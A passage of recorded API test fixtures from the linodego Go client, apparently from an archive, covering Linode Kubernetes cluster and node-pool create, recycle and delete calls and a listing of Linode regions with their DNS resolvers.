Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:53:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-lke-test-def","region":"ap-west","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 252662, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "ap-west", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "241" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:54:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"],"labels":null,"taints":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252662/pools method: POST response: body: '{"id": 403758, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "403758-189be0400000", "instance_id": 65936411, "status": "not_ready"}, {"id": "403758-3be2fa080000", "instance_id": 65936413, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "396" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:54:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252662/nodes/403758-189be0400000/recycle method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:54:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252662/pools/403758 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:54:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252662 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:54:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestLKENodePool_CreateWithLabelsAndTaints.yaml000066400000000000000000000427611474652371000353660ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 3}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 3, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-lke-test-def","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 8210, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "239" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":1,"type":"g6-standard-1","disks":null,"tags":null,"labels":{"foo":"bar"},"taints":[{"key":"foo","value":"bar","effect":"NoSchedule"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8210/pools method: POST response: body: '{"id": 10173, "type": "g6-standard-1", "count": 1, "nodes": [{"id": "10173-10ae9b720000", "instance_id": null, "status": "not_ready"}], "disks": [], "autoscaler": {"enabled": false, "min": 1, "max": 1}, "labels": {"foo": "bar"}, "taints": [{"key": "foo", "value": "bar", "effect": "NoSchedule"}], "tags": [], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8210/pools/10173 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8210 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKENodePool_GetFound.yaml000066400000000000000000001120231474652371000321550ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 